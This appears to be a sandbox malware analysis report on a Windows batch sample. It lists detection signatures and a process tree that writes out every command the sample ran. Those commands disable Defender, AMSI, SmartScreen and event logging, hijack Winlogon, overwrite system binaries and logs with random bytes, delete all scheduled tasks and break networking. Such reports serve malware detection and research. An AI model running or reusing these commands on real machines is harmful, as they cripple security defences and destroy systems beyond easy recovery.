Analysis
- max time kernel
150s - max time network
152s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
16/05/2026, 19:44
General
- Target deepseek_batch_20260508_c8df07.bat
- Size 67KB
- Sample260516-yf3qsact9m
- SHA256 16e2186ae502dd93fd1ac3cf7a2977b4bb0c4bb0ced88043e186ce7bd5d2c7fa
Score
10/10
Malware Config
Signatures
- Modifies WinLogon for persistence 2 TTPs 2 IoCs
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
- Modifies Windows Defender Real-time Protection settings 3 TTPs 8 IoCs
- Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
- Modifies firewall policy service 3 TTPs 10 IoCs
- Windows security bypass 2 TTPs 2 IoCs
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Modifies boot configuration data using bcdedit 1 TTPs 35 IoCs
- OS Credential Dumping: Security Account Manager 1 TTPs 2 IoCs
Malicious Registry Hive Dumping.
- Boot or Logon Autostart Execution: Port Monitors 1 TTPs 12 IoCs
Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation.
- Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs
Using powershell.exe command.
- Disables use of System Restore points 1 TTPs
- Drops file in Drivers directory 5 IoCs
- Event Triggered Execution: Image File Execution Options Injection 1 TTPs 10 IoCs
- Indicator Removal: Network Share Connection Removal 1 TTPs 2 IoCs
Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.
- Manipulates Digital Signatures 1 TTPs 17 IoCs
Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.
- Modifies Windows Firewall 2 TTPs 4 IoCs
- Possible privilege escalation attempt 64 IoCs
- Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
- Boot or Logon Autostart Execution: Print Processors 1 TTPs 2 IoCs
Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation.
- Disables service(s) 3 TTPs
- Impair Defenses: Safe Mode Boot 1 TTPs 6 IoCs
- Modifies file permissions 1 TTPs 64 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
- Power Settings 1 TTPs 26 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
- Drops file in System32 directory 41 IoCs
- Enumerates processes with tasklist 1 TTPs 1 IoCs
- Hide Artifacts: Ignore Process Interrupts 1 TTPs 64 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
- Launches sc.exe 64 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 36 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Delays execution with timeout.exe 1 IoCs
- Disables Windows logging functionality 2 TTPs
Changes registry settings to disable Windows Event logging.
- Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
- Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Runs net.exe
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260508_c8df07.bat"1⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet session2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -Name Window -Namespace Console -MemberDefinition '[DllImport(\"kernel32.dll\")]public static extern IntPtr GetConsoleWindow();[DllImport(\"user32.dll\")]public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);';$hwnd=[Console.Window]::GetConsoleWindow();[Console.Window]::ShowWindow($hwnd,0)"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\n5dj4fux\n5dj4fux.cmdline"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1AC7.tmp" "c:\Users\Admin\AppData\Local\Temp\n5dj4fux\CSC588E8A5AB0F54B6C84ED56DD7B33735.TMP"4⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\"user32.dll\")]public static extern bool BlockInput(bool f);' -Name W -Namespace TMP;[TMP.W]::BlockInput($true);Start-Sleep 600000;[TMP.W]::BlockInput($false)"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5ywwzv3y\5ywwzv3y.cmdline"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1AC6.tmp" "c:\Users\Admin\AppData\Local\Temp\5ywwzv3y\CSCCBE93B21B8684D6FB59F835C7D76D57D.TMP"4⤵
-
-
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v Disabled /t REG_DWORD /d 1 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v DontShowUI /t REG_DWORD /d 1 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Windows" /v ErrorMode /t REG_DWORD /d 2 /f2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Get-ChildItem 'C:\ProgramData\Microsoft\Windows\WER\ReportQueue' -Recurse -ErrorAction SilentlyContinue | Where-Object {:OpenWrite($_.FullName); $b=[byte[]]::new(1024); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Write($b,0,$b.Length); $fs.Close() } catch{} }"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f2⤵
- Modifies Windows Defender TamperProtection settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f2⤵
- Modifies Windows Defender DisableAntiSpyware settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableRoutinelyTakingAction /t REG_DWORD /d 1 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f2⤵
- Modifies Windows Defender Real-time Protection settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f2⤵
- Modifies Windows Defender Real-time Protection settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f2⤵
- Modifies Windows Defender Real-time Protection settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f2⤵
- Modifies Windows Defender Real-time Protection settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpyNetReporting /t REG_DWORD /d 0 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\CloudBlockLevel" /ve /t REG_DWORD /d 0 /f2⤵
-
-
C:\Windows\system32\sc.exesc stop WpnService2⤵
-
-
C:\Windows\system32\sc.exesc stop WpnUserService2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config WpnService start= disabled2⤵
-
-
C:\Windows\system32\sc.exesc config WpnUserService start= disabled2⤵
-
-
C:\Windows\system32\sc.exesc delete WpnService2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete WpnUserService2⤵
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\WpnCore.dll" /a2⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\WpnCore.dll" /deny Everyone:(X)2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications" /f2⤵
-
-
C:\Windows\system32\sc.exesc stop WpnService2⤵
-
-
C:\Windows\system32\sc.exesc config WpnService start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop WpnUserService2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config WpnUserService start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" /f2⤵
-
-
C:\Windows\system32\reg.exereg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" /f2⤵
-
-
C:\Windows\system32\sc.exesc stop DiagTrack2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config DiagTrack start= disabled2⤵
-
-
C:\Windows\system32\sc.exesc stop dmwappushservice2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config dmwappushservice start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\DataCollection" /v AllowTelemetry /t REG_DWORD /d 0 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection" /v AllowTelemetry /t REG_DWORD /d 0 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v EnableSmartScreen /t REG_DWORD /d 0 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v SmartScreenEnabled /t REG_SZ /d "Off" /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" /v DebugMode /t REG_DWORD /d 1 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\AMSI\Providers" /ve /t REG_SZ /d " " /f2⤵
-
-
C:\Windows\system32\sc.exesc stop WinDefend2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config WinDefend start= disabled2⤵
-
-
C:\Windows\system32\sc.exesc failure WinDefend reset= 86400 actions= restart/02⤵
-
-
C:\Windows\system32\sc.exesc stop WdNisSvc2⤵
-
-
C:\Windows\system32\sc.exesc config WdNisSvc start= disabled2⤵
-
-
C:\Windows\system32\sc.exesc failure WdNisSvc reset= 86400 actions= restart/02⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop Sense2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config Sense start= disabled2⤵
-
-
C:\Windows\system32\sc.exesc failure Sense reset= 86400 actions= restart/02⤵
-
-
C:\Windows\system32\sc.exesc stop WdFilter2⤵
-
-
C:\Windows\system32\sc.exesc config WdFilter start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc failure WdFilter reset= 86400 actions= restart/02⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop WebThreatDefSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config WebThreatDefSvc start= disabled2⤵
-
-
C:\Windows\system32\sc.exesc failure WebThreatDefSvc reset= 86400 actions= restart/02⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop MsSecCore2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config MsSecCore start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc failure MsSecCore reset= 86400 actions= restart/02⤵
-
-
C:\Windows\system32\sc.exesc stop wscsvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config wscsvc start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc failure wscsvc reset= 86400 actions= restart/02⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop SecurityHealthService2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config SecurityHealthService start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc failure SecurityHealthService reset= 86400 actions= restart/02⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "$sig = '[DllImport(\"user32.dll\")]public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);[DllImport(\"user32.dll\")]public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);[DllImport(\"kernel32.dll\")]public static extern IntPtr GetConsoleWindow();'; Add-Type -MemberDefinition $sig -Name 'Win32' -Namespace 'API'; $h = [API.Win32]::FindWindow('ConsoleWindowClass', $null); while($h -ne [IntPtr]::Zero){ [API.Win32]::ShowWindow($h, 9); [API.Win32]::ShowWindow($h, 5); Start-Sleep -Milliseconds 100; $h = [API.Win32]::FindWindow('ConsoleWindowClass', $h) }"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fsma2nol\fsma2nol.cmdline"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES240D.tmp" "c:\Users\Admin\AppData\Local\Temp\fsma2nol\CSC53C44DDE204C404CBABF87218EAA670.TMP"4⤵
-
-
-
-
C:\Windows\system32\ipconfig.exeipconfig /flushdns2⤵
- Gathers network information
-
-
C:\Windows\system32\netsh.exenetsh interface ip delete arpcache2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c netsh interface show interface | find "Connected"2⤵
-
C:\Windows\system32\netsh.exenetsh interface show interface3⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\find.exefind "Connected"3⤵
-
-
-
C:\Windows\system32\netsh.exenetsh interface ip set dns "" static 0.0.0.02⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\netsh.exenetsh interface ip add dns "" 0.0.0.0 index=22⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\attrib.exeattrib +r +a +s +h C:\Windows\System32\drivers\etc\hosts2⤵
- Drops file in Drivers directory
- Sets file to hidden
- Views/modifies file attributes
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\wpr.exe" /a2⤵
- Possible privilege escalation attempt
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\wpa.exe" /a2⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\wpr.exe" /grant Everyone:F /c /q2⤵
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\wpa.exe" /grant Everyone:F /c /q2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$f='C:\Windows\System32\wpr.exe'; $fs=[System.IO.File]::OpenWrite($f); $b=[byte[]]::new($fs.Length); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Write($b,0,$b.Length); $fs.Close()"2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\net.exenet localgroup "Performance Log Users" /delete2⤵
- Indicator Removal: Network Share Connection Removal
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup "Performance Log Users" /delete3⤵
- Indicator Removal: Network Share Connection Removal
-
-
-
C:\Windows\system32\powercfg.exepowercfg -delete scheme *2⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg -h off2⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg -change standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg -change standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg -change hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg -change hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg -change monitor-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg -change monitor-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg -change disk-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg -change disk-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg -setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c2⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg -setacvalueindex scheme_current sub_processor perfboostmode 22⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg -setacvalueindex scheme_current sub_processor procthrottlemax 1002⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg -setacvalueindex scheme_current sub_processor procthrottlemin 1002⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg -setacvalueindex scheme_current sub_processor PERFINCPOL 22⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg -setdcvalueindex scheme_current sub_processor PERFINCPOL 22⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg -x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg -x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg -x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg -x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg -x -disk-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg -x -disk-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Power" /v CsEnabled /t REG_DWORD /d 0 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Power" /v AwayModeEnabled /t REG_DWORD /d 1 /f2⤵
-
-
C:\Windows\system32\powercfg.exepowercfg /setactive scheme_current2⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Power" /v HiberbootEnabled /t REG_DWORD /d 0 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Power" /v HibernateEnabled /t REG_DWORD /d 0 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\systray.exe" /f2⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\systray.exe" /f2⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Accessibility\Blind Access" /v On /t REG_SZ /d 1 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Accessibility\Keyboard Response" /v On /t REG_SZ /d 1 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Accessibility\SoundSentry" /v On /t REG_SZ /d 1 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Accessibility\ShowSounds" /v On /t REG_SZ /d 1 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility" /v AdministratorOverride /t REG_DWORD /d 1 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\System32\corrupted.exe" /f2⤵
- Modifies WinLogon for persistence
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "C:\Windows\System32\corrupted.exe" /f2⤵
- Modifies WinLogon for persistence
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\LogonUI.exe" /a2⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\userinit.exe" /a2⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\LogonUI.exe" /grant Everyone:F /c /q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\userinit.exe" /grant Everyone:F /c /q2⤵
- Modifies file permissions
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$f='C:\Windows\System32\LogonUI.exe'; $fs=[System.IO.File]::OpenWrite($f); $b=[byte[]]::new($fs.Length); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Write($b,0,$b.Length); $fs.Close()"2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$f='C:\Windows\System32\userinit.exe'; $fs=[System.IO.File]::OpenWrite($f); $b=[byte[]]::new($fs.Length); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Write($b,0,$b.Length); $fs.Close()"2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\sethc.exe" /a2⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\utilman.exe" /a2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\sethc.exe" /deny Everyone:(X)2⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\utilman.exe" /deny Everyone:(X)2⤵
- Modifies file permissions
-
-
C:\Windows\system32\sc.exesc stop EventLog2⤵
-
-
C:\Windows\system32\sc.exesc config EventLog start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Get-WinEvent -ListLog * | ForEach-Object { try{ [System.IO.File]::WriteAllBytes($_.LogFilePath, (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes(65536)) } catch{} }"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\sc.exesc stop Schedule2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config Schedule start= disabled2⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /delete /tn * /f2⤵
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\Tasks" /r /d y2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\Tasks" /grant "Admin:F" /t /c /q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\sc.exesc stop WSearch2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config WSearch start= disabled2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Windows Search" /v DisableIndexing /t REG_DWORD /d 1 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f2⤵
-
-
C:\Windows\system32\sc.exesc stop TermService2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config TermService start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /f2⤵
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\mstsc.exe" /a2⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\mstsc.exe" /deny Everyone:(X)2⤵
- Modifies file permissions
-
-
C:\Windows\system32\sc.exesc stop Spooler2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config Spooler start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Control\Print" /f2⤵
- Boot or Logon Autostart Execution: Port Monitors
- Boot or Logon Autostart Execution: Print Processors
-
-
C:\Windows\system32\sc.exesc stop Audiosrv2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config Audiosrv start= disabled2⤵
-
-
C:\Windows\system32\sc.exesc stop AudioEndpointBuilder2⤵
-
-
C:\Windows\system32\sc.exesc config AudioEndpointBuilder start= disabled2⤵
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\drivers\audiodg.exe" /a2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\drivers\audiodg.exe" /deny Everyone:(X)2⤵
- Possible privilege escalation attempt
-
-
